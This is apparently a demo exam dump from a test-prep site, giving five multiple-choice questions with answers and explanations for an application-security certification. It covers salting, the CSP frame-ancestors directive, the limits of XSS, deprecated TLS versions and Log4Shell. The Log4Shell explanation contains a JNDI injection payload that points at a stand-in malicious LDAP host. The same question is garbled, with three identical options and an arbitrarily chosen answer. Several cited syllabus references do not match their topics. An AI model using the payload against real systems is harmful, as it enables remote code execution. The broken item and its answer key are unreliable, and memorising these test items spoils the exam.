

TESTPASSPORT

練習問題



高品質な学習リソース

<https://www.testpassport.jp>

1年間無料アップデート

Exam : Secops-CAP

**Title : Certified AppSec
Practitioner Exam**

Version : DEMO

1.Salt is a cryptographically secure random string that is added to a password before it is hashed.

In this context, what is the primary objective of salting?

- A. To defend against dictionary attacks or attacks against hashed passwords using a rainbow table.
- B. To slow down the hash calculation process.
- C. To generate a long password hash that is difficult to crack.
- D. To add a secret message to the password hash.

Answer: A

Explanation:

Salting is a security technique used in password hashing to enhance protection against specific types of attacks. A salt is a random value added to a password before hashing, ensuring that even if two users have the same password, their hashed outputs will differ. The primary objective of salting is to defend against dictionary attacks and rainbow table attacks. Dictionary attacks involve trying common passwords from a precomputed list, while rainbow table attacks use precomputed tables of hash values to reverse-engineer passwords quickly. By adding a unique salt to each password, the hash becomes unique, rendering precomputed rainbow tables ineffective, as an attacker would need to generate a new table for each salt, which is computationally impractical.

Option B ("To slow down the hash calculation process") is incorrect because while techniques like key stretching (e.g., using PBKDF2 or bcrypt) intentionally slow hashing to counter brute-force attacks, salting itself does not primarily aim to slow the process—it focuses on uniqueness. Option C ("To generate a long password hash that is difficult to crack") is a byproduct of salting but not the primary objective; the length and difficulty come from the hash function and salt combination, not salting alone. Option D ("To add a secret message to the password hash") is incorrect, as a salt is not a secret message but a random value, often stored alongside the hash. This aligns with best practices in authentication security, a key component of the CAP syllabus.

Reference: SecOps Group CAP Documents - "Secure Coding Practices," "Authentication Security," and "Cryptographic Techniques" sections.

2.Which of the following directives in a Content-Security-Policy HTTP response header, can be used to prevent a Clickjacking attack?

- A. script-src
- B. object-src
- C. frame-ancestors
- D. base-uri

Answer: C

Explanation:

Clickjacking is an attack where a malicious site overlays a transparent iframe containing a legitimate site, tricking users into interacting with it unintentionally (e.g., clicking a button). The Content-Security-Policy (CSP) HTTP response header is used to mitigate various client-side attacks, including clickjacking, through specific directives. The frame-ancestors directive is the correct choice for preventing clickjacking. This directive specifies which origins are allowed to embed the webpage in an iframe, <frame>, or <object>. For example, setting frame-ancestors 'self' restricts framing to the same origin, effectively blocking external sites from embedding the page. This is a standard defense mechanism recommended by OWASP and other security frameworks.

Option A ("script-src") controls the sources from which scripts can be loaded, addressing XSS (Cross-

Site Scripting) vulnerabilities but not clickjacking. Option B ("object-src") restricts the sources of plugins or embedded objects (e.g., Flash), which is unrelated to iframe-based clickjacking. Option D ("base-uri") defines the base URL for relative URLs in the document, offering no protection against framing attacks. The use of CSP with the frame-ancestors directive is a critical topic in the CAP syllabus under "Security Headers" and "OWASP Top 10" (UI Redressing).

Reference: SecOps Group CAP Documents - "Security Headers," "OWASP Top 10 (A07:2021 - Identification and Authentication Failures)," and "Client-Side Security" sections.

3.The application is vulnerable to Cross-Site Scripting.

Which of the following exploitation is NOT possible at all?

- A. Steal the user's session identifier stored on a non HttpOnly cookie
- B. Steal the contents from the web page
- C. Steal the contents from the application's database
- D. Steal the contents from the user's keystrokes using keyloggers

Answer: C

Explanation:

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute in the context of the victim's browser, enabling various exploitations.

Let's evaluate each option:

Option A ("Steal the user's session identifier stored on a non HttpOnly cookie"): This is possible with XSS. If a session cookie is not marked as HttpOnly (preventing JavaScript access), an attacker can use a script to access document.cookie and steal the session ID, leading to session hijacking.

Option B ("Steal the contents from the web page"): This is also possible. An XSS payload can manipulate the DOM, extract content (e.g., via innerHTML), and send it to the attacker, such as through a GET request to a malicious server.

Option C ("Steal the contents from the application's database"): This is not possible with XSS alone. XSS operates on the client side within the browser's sandbox and cannot directly access the server-side database. Database access requires server-side vulnerabilities (e.g., SQL injection), which is a separate attack vector. Thus, this exploitation is not feasible through XSS.

Option D ("Steal the contents from the user's keystrokes using keyloggers"): This is possible. An XSS script can inject a keylogger (e.g., using onkeydown events) to capture keystrokes and transmit them to the attacker, especially on pages where sensitive data (e.g., forms) is entered.

Therefore, the correct answer is C, as XSS cannot directly exploit the database. This distinction is crucial in understanding attack vectors, a core topic in the CAP syllabus under "OWASP Top 10 (A03:2021 - Injection)" and "XSS Mitigation."

Reference: SecOps Group CAP Documents - "OWASP Top 10," "Cross-Site Scripting (XSS)," and "Client-Side Attack Vectors" sections.

4.Which of the following SSL/TLS protocols are considered to be insecure?

- A. SSLv2 and SSLv3
- B. TLSv1.0 and TLSv1.1
- C. Both A and B
- D. SSLv2, SSLv3, TLSv1.0, TLSv1.1, TLSv1.2 and TLSv1.3

Answer: C

Explanation:

SSL (Secure Sockets Layer) and TLS (Transport Layer Security) are cryptographic protocols used to secure communication over a network. The security of these protocols has evolved over time, with older versions being deprecated due to identified vulnerabilities. SSLv2 and SSLv3 are considered insecure because they are vulnerable to attacks such as POODLE (Padding Oracle On Downgraded Legacy Encryption), which exploits weaknesses in their padding schemes. Similarly, TLSv1.0 and TLSv1.1 are also deemed insecure due to vulnerabilities like BEAST (Browser Exploit Against SSL/TLS) and weak cipher support, and they have been deprecated by modern standards (e.g., PCI DSS). TLSv1.2 and TLSv1.3 are considered secure when properly configured with strong ciphers.

Option A correctly identifies SSLv2 and SSLv3 as insecure, but it omits TLSv1.0 and TLSv1.1. Option B correctly identifies TLSv1.0 and TLSv1.1 as insecure but omits SSLv2 and SSLv3. Option C ("Both A and B") encompasses all insecure protocols (SSLv2, SSLv3, TLSv1.0, and TLSv1.1), making it the most comprehensive and correct answer. Option D is incorrect because it includes TLSv1.2 and TLSv1.3, which are secure when used with modern configurations. This aligns with the CAP syllabus focus on secure communication protocols and vulnerability management.

Reference: SecOps Group CAP Documents - "Secure Communication," "SSL/TLS Configuration," and "OWASP Secure Headers" sections.

5. In the context of the infamous log4j vulnerability (CVE-2021-44228), which vulnerability is exploited in the backend to achieve Remote Code Execution?

- A. JNDI Injection
- B. JNDI Injection
- C. JNDI Injection
- D. None of the above

Answer: B

Explanation:

The Log4j vulnerability, identified as CVE-2021-44228 (commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., `${jndi:ldap://malicious.com/a}`) that is logged by a vulnerable Log4j instance. The exploit leverages JNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list "JNDI Injection," which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ("None of the above") is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.

Reference: SecOps Group CAP Documents - "Injection Vulnerabilities," "Remote Code Execution," and "OWASP Top 10 (A03:2021 - Injection)" sections.